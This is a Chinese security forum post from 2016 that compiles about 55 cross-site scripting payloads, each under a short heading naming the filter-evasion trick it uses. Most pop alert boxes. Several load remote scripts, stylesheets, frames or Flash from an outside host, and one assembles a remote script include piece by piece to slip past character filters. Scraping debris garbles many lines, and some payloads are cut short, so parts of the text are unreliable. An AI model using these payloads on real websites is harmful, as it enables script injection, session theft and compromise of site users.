找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2570|回复: 0
打印 上一主题 下一主题

XSS攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2016-4-28 10:06:15 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
(1)普通的XSS JavaScript注入/ {2 f# {, K* i  n( {+ T
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>7 N6 |* d0 Q: X
(99)另类弹框

$ L- U% j8 m6 V- V/ [8 Q2 I; K<q/oncut=alert()>18 C6 n6 g0 k6 M8 l5 h# i
<s/onclick=alert()>b
5 l0 F! ^% U/ z3 E) R: X <XSS=" onclick="alert(1)//">clickme</SSX=">7 C) z7 L! I& |# f/ k/ n
<zzz onclick=alert`1`>clickme</zzz> % {: r, r  M' B9 c
<a onclick=alert`1`>clickme</a>3 K- u0 @' s6 {, b$ ]" x, `1 p
<a=">clickme</a=">, E6 P+ b6 E+ W
<a=">clickme</a>5 G+ h; q3 f, `, _! V9 [6 w
<z=">clickme</z=">& C! j% T# \% u1 G8 \5 g
<z onclick=alert`1`>clickme</z>
; x+ O9 y! I$ k8 ~' d
1 ^8 u4 \$ ]. I9 }(2)IMG标签XSS使用JavaScript命令
" F! F$ \' L# b) O, l, G
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
( J  r2 e8 S! q& M. e$ `3 N

5 B9 I6 P' \5 _! e  e# Y: r
(3)IMG标签无分号无引号
4 N5 g5 j) B. w5 B& C. R
<IMG SRC=javascript:alert(‘XSS’)>
0 @. q+ q; U; E9 w4 C7 o
; [! Q! P. U- t% }; R% l# d8 @4 X! q
(4)IMG标签大小写不敏感
1 m( J5 y+ s- |- J! E) P, H. A
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
2 {: n1 }; b1 s4 R; I' y' T
6 X4 k1 K4 l) ^5 W# D" M3 C: J
(5)HTML编码(必须有分号)
& y. J4 m" D" t/ [2 X9 b8 o
<IMG SRC=javascript:alert(“XSS”)>
8 t& c4 }+ Q; L- Z) s) @
8 Y+ S" ~, X  V% e9 `" X' C" d2 c
(6)修正缺陷IMG标签
) W/ a- l# \! T( N  t
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>' K. _: a$ O( G4 X  F! b) Y. s
0 v( `# m9 ^7 v0 y5 ^- D4 s
(7)formCharCode标签(计算器)% m  c- V6 x# d! W1 ~; ^6 z
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
2 ?' D2 b  C) G, s! a: v0 [7 |- P
5 U' P5 h% _8 d! @) T5 b
(8)UTF-8的Unicode编码(计算器)
4 E: H" y, }; h. i3 ]  ^
<IMG SRC=jav..省略..S')>
& E. {9 _  {/ f( k

. w3 G6 G! t3 Y/ v6 R; j
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)7 a% D* D, m8 s7 x$ \
<IMG SRC=jav..省略..S')>
' Z' ]6 v+ a1 F5 q9 B
" `% \7 i4 A% z% W# e& B  N4 K7 b
(10)十六进制编码也是没有分号(计算器)
+ p9 P6 ?+ A  w- h% r% f
<IMG SRC=\'#\'" /span>- p: Z; B) T0 t5 u. F% o1 |

3 Y1 z- M( u0 l+ k: o- F. F(11)嵌入式标签,将Javascript分开/ V4 A, C* Y& v, ~# N, o
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>7 s; L5 r1 C0 A0 X7 k

" G0 l# @8 H5 H( \& e8 L8 ](12)嵌入式编码标签,将Javascript分开
' F& B; {; X* b6 z- A<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
! X1 E3 L9 E$ R7 ^2 n. L& r* W* r/ e; \* j' D& ]
(13)嵌入式换行符' L" V1 M, D) K) i
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
3 }7 p7 B5 a( t, V0 s
9 f- i+ z2 c* ^# F(14)嵌入式回车
" Q) Q8 d0 L, r% W) |<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>' r; k. K+ q! O+ {( H5 y% v
. b: `% `- T! u1 F
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
4 b( @/ O. F4 P<IMG SRC=\'#\'" /span>  I3 E" @2 {# a, H1 C" M

, e: F, Z) o2 {% ~2 k% H(16)解决限制字符(要求同页面)# w3 t/ R& j9 D& P4 c+ Y
<script>z=’document.’</script>) r0 {" B" }. u& V  w% x' D1 ?
<script>z=z+’write(“‘</script>% I' t+ k: }, b: V$ G) }3 V
<script>z=z+’<script’</script>
4 N0 }* j, b5 }<script>z=z+’ src=ht’</script>* L( u1 O0 b9 s; T
<script>z=z+’tp://ww’</script>
& k  y; _5 }& a' R, h<script>z=z+’w.shell’</script>6 U! N1 L- ]2 u
<script>z=z+’.net/1.’</script>$ T. J. R$ w* F/ O1 h3 J' C; i& X
<script>z=z+’js></sc’</script>
! Y# r3 }' m, [( N9 Y& U0 ~" P<script>z=z+’ript>”)’</script>/ f3 L! G" A2 l! n1 t
<script>eval_r(z)</script>
7 z( S( {+ L) ?
/ W' o* O  {' d6 I& H- z(17)空字符
  }4 }3 p8 ?) N: Tperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out1 _9 U+ I/ n9 ~- d  m9 ?$ x; m6 |

, b0 a8 w7 x4 r* I$ q* A, a(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
( b+ _2 W7 Z3 L: ?perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out: L) C  A# n& r: c6 h2 Q# P
5 X) U6 i5 T# c4 d* x; V6 s9 v
(19)Spaces和meta前的IMG标签# Z) Y0 y# ^) O& E& ]6 Q  |! O( ?
<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>
0 S5 n, p6 U3 a/ {; y5 x' O/ F) l% i# N. d6 j% z% ^6 o! n: \, P7 \
(20)Non-alpha-non-digit XSS; W% g( F9 R) k, Y1 j+ \! b3 F
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>8 `1 m0 s9 T6 [. X& P5 i$ M
5 {% h- H- [0 C% {/ b
(21)Non-alpha-non-digit XSS to 20 u, t6 n! C9 ]( `
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>& k/ y1 u! o8 A: J
5 A2 g+ b" z- s# `3 K) g
(22)Non-alpha-non-digit XSS to 3, g7 H- k, J, G6 f4 e5 h
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
* ^$ X! t- }5 t9 }0 v
" H. v1 F, ^) M(23)双开括号
2 p5 L' i2 e. S: w  t  k<<SCRIPT>alert(“XSS”);//<</SCRIPT>; Z  S3 |$ ^4 L2 |0 g/ J" F  V; m

. O# K3 Q. ?; i, K. S, ~(24)无结束脚本标记(仅火狐等浏览器)
$ G; Z& t  B1 m/ S* F1 z<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
; i0 \  ^/ N. `( F) g7 y- b5 w/ B3 M  O6 `
(25)无结束脚本标记2
" {# A/ q- _. K% Z" B<SCRIPT SRC=//3w.org/XSS/xss.js>
; h! k# N) [8 ^0 Y5 Q
3 b. c* K6 B/ `% a( V5 j(26)半开的HTML/JavaScript XSS# c9 A. r( C( D$ }/ D3 @8 u
<IMG SRC=\'#\'" /span>1 x3 m/ O) w. P( ]8 ^- p7 h: A

! c* S$ H( o6 C* L2 C(27)双开角括号
3 @& H. n1 M! |<iframe src=http://3w.org/XSS.html <
' S( g4 Y8 J6 b
5 K0 b9 E2 k7 }+ z1 u(28)无单引号 双引号 分号
7 f2 v3 K* c* M2 ?" H<SCRIPT>a=/XSS/% _% z* O8 u0 Q+ S' \6 x
alert(a.source)</SCRIPT>
' Z0 s+ H* O# b; i7 S, \8 a+ W2 j2 p" d
(29)换码过滤的JavaScript1 g: }8 U/ U' e/ C1 y( a2 W$ e
\”;alert(‘XSS’);//. G5 C; f2 T( q' S" _

" g. ^) @9 O: m& M4 T* S% M4 M(30)结束Title标签3 Y: j3 x* u- z; J1 D6 \
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
  W; `' A1 _# @1 `$ ^
) F2 Y1 q3 [  W' x" C! U9 o(31)Input Image
/ `: {) T8 q) S1 L/ u4 V) n<INPUT SRC=\'#\'" /span>4 R+ h. x$ M  K: T) k- P

# l5 t% x( T6 P/ F8 l7 {5 X(32)BODY Image
% i) m* m: g& q* x+ X4 Y<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
. m3 o1 W1 T: [3 K% e: d/ r! o5 v4 B/ n9 |' k2 z# l3 N2 ~
(33)BODY标签% F; \5 ^) `% A& K$ X2 q- P$ N, j
<BODY(‘XSS’)>4 y" h, V& B1 N9 V- g) w

, O' U& A  y* r6 C4 W: @% _4 z(34)IMG Dynsrc
8 V8 e8 x; r" K<IMG DYNSRC=\'#\'" /span>, k) m4 s* m' F4 \/ I
% b  Z1 z# z: L. v/ o) e. s
(35)IMG Lowsrc
0 E7 r2 q* ?5 A2 r" z5 I0 N<IMG LOWSRC=\'#\'" /span>
* w) B+ W: E& U  V- L3 j1 C: \, i  u4 A2 N* N+ e. V
(36)BGSOUND
; c+ _- u( D8 H# u* Q  \9 a<BGSOUND SRC=\'#\'" /span>
3 C# o1 s5 Q$ X8 I
' k  }" B4 Z* V2 [(37)STYLE sheet. }- t1 D; w( m% N
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>4 A6 V# `1 n& P

- j; g) o9 v4 d; Z9 j# d) e(38)远程样式表4 d# Z" w* b2 B
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
$ H- u) {# ^, \* ?* R' L) u( K0 [+ j% I' U3 V1 L9 r+ X! I
(39)List-style-image(列表式)
+ m6 r9 P5 V% S/ F& a, c<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
3 e* Z( C3 y2 o. `6 ^
4 v: v: \) ]& t* H(40)IMG VBscript
) B4 Z5 `2 U6 x9 u' n<IMG SRC=\'#\'" /STYLE><UL><LI>XSS8 w0 o+ C3 a6 `: c. g( f

( f. O/ y/ h7 w4 J% k(41)META链接url
, r, x! }  h4 N) c<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
, Y4 {4 Q/ J8 a; Q% F/ W
7 M1 Q$ P. q3 t(42)Iframe
; ]) x. ~7 F0 c/ s' Y0 U. I( `<IFRAME SRC=\'#\'" /IFRAME>
! \: l! `' {5 z0 U, N+ g* P' r. c% E# e! o& _0 c0 L0 ]- v
(43)Frame
' k" n: H) z7 q& g: Y/ p<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
, W: J7 J1 {0 t* r5 C7 O9 w+ O$ `9 W; b6 _- C
(44)Table, n  ^/ i! w/ U& |+ Z
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
- K7 f1 Z/ x8 B. B" @) X* v6 T, n: [0 T5 G0 G
(45)TD
5 T  s1 P$ R4 J: H. `<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>7 \6 E$ W4 }! P

0 z* b, Y, B! ~8 m  X* A0 W$ u(46)DIV background-image9 b3 A: p' ~$ s
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>3 T% d- L# k  T' o+ ~% F3 P
( q8 [' K8 k' }1 e. ~
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
0 w  ^6 t* r6 z$ y. s' B! T<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>8 A) [8 a2 [/ ~5 S

3 T: d5 ?7 s3 _(48)DIV expression
  r$ e$ ?2 c! E5 o5 s+ j' I<DIV STYLE=”width: expression_r(alert(‘XSS’));”>, A  V$ {4 P, k

& x3 f6 z+ }+ T* c5 U+ O4 v, Q(49)STYLE属性分拆表达) D! k, e( J1 {: j4 L" S
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>% j* g" K  i2 C: g4 |# V8 I

) I2 ^; H$ {$ ?' ?/ W( w  D(50)匿名STYLE(组成:开角号和一个字母开头)7 j& W: G9 Z5 g! G  ]
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>' `0 N" Z# _9 W! o4 s
( a, M# Q  m: L3 e7 r
(51)STYLE background-image% q2 ~$ W8 E6 T. _/ O( E4 U. Y
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
+ i4 @% M+ v/ _4 t. v* m
$ H& {1 R7 U& F2 }5 j& {(52)IMG STYLE方式, q7 O  \6 R: A! Y7 V) u0 x
exppression(alert(“XSS”))’>
9 c& D. h) Y1 D' e+ S+ ~
3 v9 b; u9 s9 l- ?; b(53)STYLE background3 E7 {- f. R& C* i0 f
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>, R& P! |8 W: M  q* _. Q

$ M- X& f, l1 M) Z(54)BASE
5 M3 @* B+ E0 S8 W1 W: R<BASE HREF=”javascript:alert(‘XSS’);//”>- J0 [* X) E1 ~8 V1 t

) Q8 u5 f1 z2 B(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS$ e9 j- {) \( [8 A5 B2 I- }+ |- \
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>

, `1 m& ?# G; W* ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表